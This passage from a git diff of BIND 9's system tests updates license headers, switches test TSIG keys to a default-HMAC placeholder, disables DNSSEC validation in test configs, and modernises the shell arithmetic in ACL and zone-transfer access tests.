+	algorithm @DEFAULT_HMAC@;
 	secret "1234abcd8765";
 };
 
diff --git a/bin/tests/system/acl/ns2/named2.conf.in b/bin/tests/system/acl/ns2/named2.conf.in
index ada97bcf24..bb03efd75d 100644
--- a/bin/tests/system/acl/ns2/named2.conf.in
+++ b/bin/tests/system/acl/ns2/named2.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -11,7 +13,7 @@
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
@@ -30,15 +32,16 @@ options {
 	notify yes;
 	ixfr-from-differences yes;
 	check-integrity no;
+	dnssec-validation no;
 };
 
 key one {
-	algorithm hmac-md5;
+	algorithm @DEFAULT_HMAC@;
 	secret "1234abcd8765";
 };
 
 key two {
-	algorithm hmac-md5;
+	algorithm @DEFAULT_HMAC@;
 	secret "1234abcd8765";
 };
 
diff --git a/bin/tests/system/acl/ns2/named3.conf.in b/bin/tests/system/acl/ns2/named3.conf.in
index 97684e4d9b..b4e20d5ebd 100644
--- a/bin/tests/system/acl/ns2/named3.conf.in
+++ b/bin/tests/system/acl/ns2/named3.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -11,7 +13,7 @@
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
@@ -30,20 +32,21 @@ options {
 	notify yes;
 	ixfr-from-differences yes;
 	check-integrity no;
+	dnssec-validation no;
 };
 
 key one {
-	algorithm hmac-md5;
+	algorithm @DEFAULT_HMAC@;
 	secret "1234abcd8765";
 };
 
 key two {
-	algorithm hmac-md5;
+	algorithm @DEFAULT_HMAC@;
 	secret "1234abcd8765";
 };
 
 key three {
-	algorithm hmac-md5;
+	algorithm @DEFAULT_HMAC@;
 	secret "1234abcd8765";
 };
 
diff --git a/bin/tests/system/acl/ns2/named4.conf.in b/bin/tests/system/acl/ns2/named4.conf.in
index 462b3fad6f..868d46492f 100644
--- a/bin/tests/system/acl/ns2/named4.conf.in
+++ b/bin/tests/system/acl/ns2/named4.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -11,7 +13,7 @@
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
@@ -30,15 +32,16 @@ options {
 	notify yes;
 	ixfr-from-differences yes;
 	check-integrity no;
+	dnssec-validation no;
 };
 
 key one {
-	algorithm hmac-md5;
+	algorithm @DEFAULT_HMAC@;
 	secret "1234abcd8765";
 };
 
 key two {
-	algorithm hmac-md5;
+	algorithm @DEFAULT_HMAC@;
 	secret "1234abcd8765";
 };
 
diff --git a/bin/tests/system/acl/ns2/named5.conf.in b/bin/tests/system/acl/ns2/named5.conf.in
index 728da58d65..e24080f064 100644
--- a/bin/tests/system/acl/ns2/named5.conf.in
+++ b/bin/tests/system/acl/ns2/named5.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -11,7 +13,7 @@
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
@@ -30,17 +32,18 @@ options {
 	notify yes;
 	ixfr-from-differences yes;
 	check-integrity no;
+	dnssec-validation no;
 	allow-query-on { 10.53.0.2; };
 	blackhole { 10.53.0.8; };
 };
 
 key one {
-	algorithm hmac-md5;
+	algorithm @DEFAULT_HMAC@;
 	secret "1234abcd8765";
 };
 
 key two {
-	algorithm hmac-md5;
+	algorithm @DEFAULT_HMAC@;
 	secret "1234abcd8765";
 };
 
diff --git a/bin/tests/system/acl/ns3/example.db b/bin/tests/system/acl/ns3/example.db
index ae1ceabee9..34fe9e5911 100644
--- a/bin/tests/system/acl/ns3/example.db
+++ b/bin/tests/system/acl/ns3/example.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/acl/ns3/named.conf.in b/bin/tests/system/acl/ns3/named.conf.in
index 760c2bc8ff..31d3526b76 100644
--- a/bin/tests/system/acl/ns3/named.conf.in
+++ b/bin/tests/system/acl/ns3/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -21,6 +23,7 @@ options {
 	notify no;
 	allow-new-zones yes;
 	allow-transfer { none; };
+	dnssec-validation no;
 };
 
 controls {
@@ -29,5 +32,5 @@ controls {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
diff --git a/bin/tests/system/acl/ns4/example.db b/bin/tests/system/acl/ns4/example.db
index f5e178d5ab..91c8702299 100644
--- a/bin/tests/system/acl/ns4/example.db
+++ b/bin/tests/system/acl/ns4/example.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/acl/ns4/existing.db b/bin/tests/system/acl/ns4/existing.db
index f5e178d5ab..91c8702299 100644
--- a/bin/tests/system/acl/ns4/existing.db
+++ b/bin/tests/system/acl/ns4/existing.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/acl/ns4/named.conf.in b/bin/tests/system/acl/ns4/named.conf.in
index e4c57463c6..9b769d1849 100644
--- a/bin/tests/system/acl/ns4/named.conf.in
+++ b/bin/tests/system/acl/ns4/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -21,6 +23,7 @@ options {
 	notify no;
 	allow-new-zones yes;
 	allow-transfer { none; };
+	dnssec-validation no;
 };
 
 controls {
@@ -29,7 +32,7 @@ controls {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 zone "existing" {
diff --git a/bin/tests/system/acl/setup.sh b/bin/tests/system/acl/setup.sh
index bdf3d22df7..7dcd87244b 100644
--- a/bin/tests/system/acl/setup.sh
+++ b/bin/tests/system/acl/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/acl/tests.sh b/bin/tests/system/acl/tests.sh
index a48f8685fe..5753036026 100644
--- a/bin/tests/system/acl/tests.sh
+++ b/bin/tests/system/acl/tests.sh
@@ -1,14 +1,18 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 . ../conf.sh
 
 DIGOPTS="+tcp +noadd +nosea +nostat +noquest +nocomm +nocmd -p ${PORT}"
@@ -19,16 +23,16 @@ t=0
 
 echo_i "testing basic ACL processing"
 # key "one" should fail
-t=`expr $t + 1`
+t=$((t + 1))
 $DIG $DIGOPTS tsigzone. \
-	@10.53.0.2 -b 10.53.0.1 axfr -y one:1234abcd8765 > dig.out.${t}
+	@10.53.0.2 -b 10.53.0.1 axfr -y "${DEFAULT_HMAC}:one:1234abcd8765" > dig.out.${t}
 grep "^;" dig.out.${t} > /dev/null 2>&1 || { echo_i "test $t failed" ; status=1; }
 
 
 # any other key should be fine
-t=`expr $t + 1`
+t=$((t + 1))
 $DIG $DIGOPTS tsigzone. \
-	@10.53.0.2 -b 10.53.0.1 axfr -y two:1234abcd8765 > dig.out.${t}
+	@10.53.0.2 -b 10.53.0.1 axfr -y "${DEFAULT_HMAC}:two:1234abcd8765" > dig.out.${t}
 grep "^;" dig.out.${t} > /dev/null 2>&1 && { echo_i "test $t failed" ; status=1; }
 
 copy_setports ns2/named2.conf.in ns2/named.conf
@@ -36,20 +40,20 @@ rndc_reload ns2 10.53.0.2
 sleep 5
 
 # prefix 10/8 should fail
-t=`expr $t + 1`
+t=$((t + 1))
 $DIG $DIGOPTS tsigzone. \
-	@10.53.0.2 -b 10.53.0.1 axfr -y one:1234abcd8765 > dig.out.${t}
+	@10.53.0.2 -b 10.53.0.1 axfr -y "${DEFAULT_HMAC}:one:1234abcd8765" > dig.out.${t}
 grep "^;" dig.out.${t} > /dev/null 2>&1 || { echo_i "test $t failed" ; status=1; }
 
 # any other address should work, as long as it sends key "one"
-t=`expr $t + 1`
+t=$((t + 1))
 $DIG $DIGOPTS tsigzone. \
-	@10.53.0.2 -b 127.0.0.1 axfr -y two:1234abcd8765 > dig.out.${t}
+	@10.53.0.2 -b 127.0.0.1 axfr -y "${DEFAULT_HMAC}:two:1234abcd8765" > dig.out.${t}
 grep "^;" dig.out.${t} > /dev/null 2>&1 || { echo_i "test $t failed" ; status=1; }
 
-t=`expr $t + 1`
+t=$((t + 1))
 $DIG $DIGOPTS tsigzone. \
-	@10.53.0.2 -b 127.0.0.1 axfr -y one:1234abcd8765 > dig.out.${t}
+	@10.53.0.2 -b 127.0.0.1 axfr -y "${DEFAULT_HMAC}:one:1234abcd8765" > dig.out.${t}
 grep "^;" dig.out.${t} > /dev/null 2>&1 && { echo_i "test $t failed" ; status=1; }
 
 echo_i "testing nested ACL processing"
@@ -59,44 +63,44 @@ rndc_reload ns2 10.53.0.2
 sleep 5
 
 # should succeed
-t=`expr $t + 1`
+t=$((t + 1))
 $DIG $DIGOPTS tsigzone. \
-	@10.53.0.2 -b 10.53.0.2 axfr -y two:1234abcd8765 > dig.out.${t}
+	@10.53.0.2 -b 10.53.0.2 axfr -y "${DEFAULT_HMAC}:two:1234abcd8765" > dig.out.${t}
 grep "^;" dig.out.${t} > /dev/null 2>&1 && { echo_i "test $t failed" ; status=1; }
 
 # should succeed
-t=`expr $t + 1`
+t=$((t + 1))
 $DIG $DIGOPTS tsigzone. \
-	@10.53.0.2 -b 10.53.0.2 axfr -y one:1234abcd8765 > dig.out.${t}
+	@10.53.0.2 -b 10.53.0.2 axfr -y "${DEFAULT_HMAC}:one:1234abcd8765" > dig.out.${t}
 grep "^;" dig.out.${t} > /dev/null 2>&1 && { echo_i "test $t failed" ; status=1; }
 
 # should succeed
-t=`expr $t + 1`
+t=$((t + 1))
 $DIG $DIGOPTS tsigzone. \
-	@10.53.0.2 -b 10.53.0.1 axfr -y two:1234abcd8765 > dig.out.${t}
+	@10.53.0.2 -b 10.53.0.1 axfr -y "${DEFAULT_HMAC}:two:1234abcd8765" > dig.out.${t}
 grep "^;" dig.out.${t} > /dev/null 2>&1 && { echo_i "test $t failed" ; status=1; }
 
 # should succeed
-t=`expr $t + 1`
+t=$((t + 1))
 $DIG $DIGOPTS tsigzone. \
-	@10.53.0.2 -b 10.53.0.1 axfr -y two:1234abcd8765 > dig.out.${t}
+	@10.53.0.2 -b 10.53.0.1 axfr -y "${DEFAULT_HMAC}:two:1234abcd8765" > dig.out.${t}
 grep "^;" dig.out.${t} > /dev/null 2>&1 && { echo_i "test $t failed" ; status=1; }
 
 # but only one or the other should fail
-t=`expr $t + 1`
+t=$((t + 1))
 $DIG $DIGOPTS tsigzone. \
-	@10.53.0.2 -b 127.0.0.1 axfr -y one:1234abcd8765 > dig.out.${t}
+	@10.53.0.2 -b 127.0.0.1 axfr -y "${DEFAULT_HMAC}:one:1234abcd8765" > dig.out.${t}
 grep "^;" dig.out.${t} > /dev/null 2>&1 || { echo_i "test $t failed" ; status=1; }
 
-t=`expr $t + 1`
+t=$((t + 1))
 $DIG $DIGOPTS tsigzone. \
 	@10.53.0.2 -b 10.53.0.2 axfr > dig.out.${t}
 grep "^;" dig.out.${t} > /dev/null 2>&1 || { echo_i "test $tt failed" ; status=1; }
 
 # and other values? right out
-t=`expr $t + 1`
+t=$((t + 1))
 $DIG $DIGOPTS tsigzone. \
-	@10.53.0.2 -b 127.0.0.1 axfr -y three:1234abcd8765 > dig.out.${t}
+	@10.53.0.2 -b 127.0.0.1 axfr -y "${DEFAULT_HMAC}:three:1234abcd8765" > dig.out.${t}
 grep "^;" dig.out.${t} > /dev/null 2>&1 || { echo_i "test $t failed" ; status=1; }
 
 # now we only allow 10.53.0.1 *and* key one, or 10.53.0.2 *and* key two
@@ -105,63 +109,64 @@ rndc_reload ns2 10.53.0.2
 sleep 5
 
 # should succeed
-t=`expr $t + 1`
+t=$((t + 1))
 $DIG $DIGOPTS tsigzone. \
-	@10.53.0.2 -b 10.53.0.2 axfr -y two:1234abcd8765 > dig.out.${t}
+	@10.53.0.2 -b 10.53.0.2 axfr -y "${DEFAULT_HMAC}:two:1234abcd8765" > dig.out.${t}
 grep "^;" dig.out.${t} > /dev/null 2>&1 && { echo_i "test $t failed" ; status=1; }
 
 # should succeed
-t=`expr $t + 1`
+t=$((t + 1))
 $DIG $DIGOPTS tsigzone. \
-	@10.53.0.2 -b 10.53.0.1 axfr -y one:1234abcd8765 > dig.out.${t}
+	@10.53.0.2 -b 10.53.0.1 axfr -y "${DEFAULT_HMAC}:one:1234abcd8765" > dig.out.${t}
 grep "^;" dig.out.${t} > /dev/null 2>&1 && { echo_i "test $t failed" ; status=1; }
 
 # should fail
-t=`expr $t + 1`
+t=$((t + 1))
 $DIG $DIGOPTS tsigzone. \
-	@10.53.0.2 -b 10.53.0.2 axfr -y one:1234abcd8765 > dig.out.${t}
+	@10.53.0.2 -b 10.53.0.2 axfr -y "${DEFAULT_HMAC}:one:1234abcd8765" > dig.out.${t}
 grep "^;" dig.out.${t} > /dev/null 2>&1 || { echo_i "test $t failed" ; status=1; }
 
 # should fail
-t=`expr $t + 1`
+t=$((t + 1))
 $DIG $DIGOPTS tsigzone. \
-	@10.53.0.2 -b 10.53.0.1 axfr -y two:1234abcd8765 > dig.out.${t}
+	@10.53.0.2 -b 10.53.0.1 axfr -y "${DEFAULT_HMAC}:two:1234abcd8765" > dig.out.${t}
 grep "^;" dig.out.${t} > /dev/null 2>&1 || { echo_i "test $t failed" ; status=1; }
 
 # should fail
-t=`expr $t + 1`
+t=$((t + 1))
 $DIG $DIGOPTS tsigzone. \
-	@10.53.0.2 -b 10.53.0.3 axfr -y one:1234abcd8765 > dig.out.${t}
+	@10.53.0.2 -b 10.53.0.3 axfr -y "${DEFAULT_HMAC}:one:1234abcd8765" > dig.out.${t}
 grep "^;" dig.out.${t} > /dev/null 2>&1 || { echo_i "test $t failed" ; status=1; }
 
 echo_i "testing allow-query-on ACL processing"
 copy_setports ns2/named5.conf.in ns2/named.conf
 rndc_reload ns2 10.53.0.2
 sleep 5
-t=`expr $t + 1`
+t=$((t + 1))
 $DIG -p ${PORT} +tcp soa example. \
 	@10.53.0.2 -b 10.53.0.3 > dig.out.${t}
 grep "status: NOERROR" dig.out.${t} > /dev/null 2>&1 || { echo_i "test $t failed" ; status=1; }
 
 echo_i "testing blackhole ACL processing"
-t=`expr $t + 1`
+t=$((t + 1))
 ret=0
 $DIG -p ${PORT} +tcp soa example. \
 	@10.53.0.2 -b 10.53.0.3 > dig.out.1.${t}
 grep "status: NOERROR" dig.out.1.${t} > /dev/null 2>&1 || ret=1
 $DIG -p ${PORT} +tcp soa example. \
-	@10.53.0.2 -b 10.53.0.8 > dig.out.2.${t}
+	@10.53.0.2 -b 10.53.0.8 > dig.out.2.${t} && ret=1
 grep "status: NOERROR" dig.out.2.${t} > /dev/null 2>&1 && ret=1
 grep "communications error" dig.out.2.${t} > /dev/null 2>&1 || ret=1
 $DIG -p ${PORT} soa example. \
 	@10.53.0.2 -b 10.53.0.3 > dig.out.3.${t}
 grep "status: NOERROR" dig.out.3.${t} > /dev/null 2>&1 || ret=1
 $DIG -p ${PORT} soa example. \
-	@10.53.0.2 -b 10.53.0.8 > dig.out.4.${t}
+	@10.53.0.2 -b 10.53.0.8 > dig.out.4.${t} && ret=1
 grep "status: NOERROR" dig.out.4.${t} > /dev/null 2>&1 && ret=1
-grep "connection timed out" dig.out.4.${t} > /dev/null 2>&1 || ret=1
+grep "timed out" dig.out.4.${t} > /dev/null 2>&1 || ret=1
+grep ";; no servers could be reached" dig.out.4.${t} > /dev/null 2>&1 || ret=1
 [ $ret -eq 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # AXFR tests against ns3
 
@@ -171,26 +176,26 @@ echo_i "calling addzone example.com on ns3"
 $RNDCCMD 10.53.0.3 addzone 'example.com {type primary; file "example.db"; }; '
 sleep 1
 
-t=`expr $t + 1`
+t=$((t + 1))
 ret=0
 echo_i "checking AXFR of example.com from ns3 with ACL allow-transfer { none; }; (${t})"
 $DIG -p ${PORT} @10.53.0.3 example.com axfr > dig.out.${t} 2>&1
 grep "Transfer failed." dig.out.${t} >/dev/null 2>&1 || ret=1
 [ $ret -eq 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "calling rndc reconfig"
 rndc_reconfig ns3 10.53.0.3
 
 sleep 1
 
-t=`expr $t + 1`
+t=$((t + 1))
 ret=0
 echo_i "re-checking AXFR of example.com from ns3 with ACL allow-transfer { none; }; (${t})"
 $DIG -p ${PORT} @10.53.0.3 example.com axfr > dig.out.${t} 2>&1
 grep "Transfer failed." dig.out.${t} >/dev/null 2>&1 || ret=1
 [ $ret -eq 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
 # AXFR tests against ns4
 
@@ -200,26 +205,26 @@ echo_i "calling addzone example.com on ns4"
 $RNDCCMD 10.53.0.4 addzone 'example.com {type primary; file "example.db"; }; '
 sleep 1
 
-t=`expr $t + 1`
+t=$((t + 1))
 ret=0
 echo_i "checking AXFR of example.com from ns4 with ACL allow-transfer { none; }; (${t})"
 $DIG -p ${PORT} @10.53.0.4 example.com axfr > dig.out.${t} 2>&1
 grep "Transfer failed." dig.out.${t} >/dev/null 2>&1 || ret=1
 [ $ret -eq 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "calling rndc reconfig"
 rndc_reconfig ns4 10.53.0.4
 
 sleep 1
 
-t=`expr $t + 1`
+t=$((t + 1))
 ret=0
 echo_i "re-checking AXFR of example.com from ns4 with ACL allow-transfer { none; }; (${t})"
 $DIG -p ${PORT} @10.53.0.4 example.com axfr > dig.out.${t} 2>&1
 grep "Transfer failed." dig.out.${t} >/dev/null 2>&1 || ret=1
 [ $ret -eq 0 ] || echo_i "failed"
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "exit status: $status"
 [ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/acl/tests_sh_acl.py b/bin/tests/system/acl/tests_sh_acl.py
new file mode 100644
index 0000000000..2c98644e01
--- /dev/null
+++ b/bin/tests/system/acl/tests_sh_acl.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_acl(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/additional/clean.sh b/bin/tests/system/additional/clean.sh
index 871c6a51ae..c43c36e9cd 100644
--- a/bin/tests/system/additional/clean.sh
+++ b/bin/tests/system/additional/clean.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/additional/ns1/mx.db b/bin/tests/system/additional/ns1/mx.db
index 32a2b87ba7..6305e8bccd 100644
--- a/bin/tests/system/additional/ns1/mx.db
+++ b/bin/tests/system/additional/ns1/mx.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/additional/ns1/named.args b/bin/tests/system/additional/ns1/named.args
index 15aa849355..45ac93a7c7 100644
--- a/bin/tests/system/additional/ns1/named.args
+++ b/bin/tests/system/additional/ns1/named.args
@@ -1,2 +1,2 @@
 # this server runs named with only one worker thread
--m record,size,mctx -c named.conf -d 99 -D additional-ns1 -X named.lock -g -n 1 -T maxcachesize=2097152
+-m record -c named.conf -d 99 -D additional-ns1 -X named.lock -g -n 1 -T maxcachesize=2097152
diff --git a/bin/tests/system/additional/ns1/named1.conf.in b/bin/tests/system/additional/ns1/named1.conf.in
index 306e80fa20..d058d1e65c 100644
--- a/bin/tests/system/additional/ns1/named1.conf.in
+++ b/bin/tests/system/additional/ns1/named1.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/additional/ns1/named2.conf.in b/bin/tests/system/additional/ns1/named2.conf.in
index 6a341f1b33..56c6d4b70e 100644
--- a/bin/tests/system/additional/ns1/named2.conf.in
+++ b/bin/tests/system/additional/ns1/named2.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/additional/ns1/named3.conf.in b/bin/tests/system/additional/ns1/named3.conf.in
index 85d94d5e89..ad453a3fa4 100644
--- a/bin/tests/system/additional/ns1/named3.conf.in
+++ b/bin/tests/system/additional/ns1/named3.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/additional/ns1/named4.conf.in b/bin/tests/system/additional/ns1/named4.conf.in
index 2808c438a3..69479b9f4c 100644
--- a/bin/tests/system/additional/ns1/named4.conf.in
+++ b/bin/tests/system/additional/ns1/named4.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/additional/ns1/naptr.db b/bin/tests/system/additional/ns1/naptr.db
index d14bec455d..51d3c857eb 100644
--- a/bin/tests/system/additional/ns1/naptr.db
+++ b/bin/tests/system/additional/ns1/naptr.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/additional/ns1/naptr2.db b/bin/tests/system/additional/ns1/naptr2.db
index fbdd179756..78ca4ad403 100644
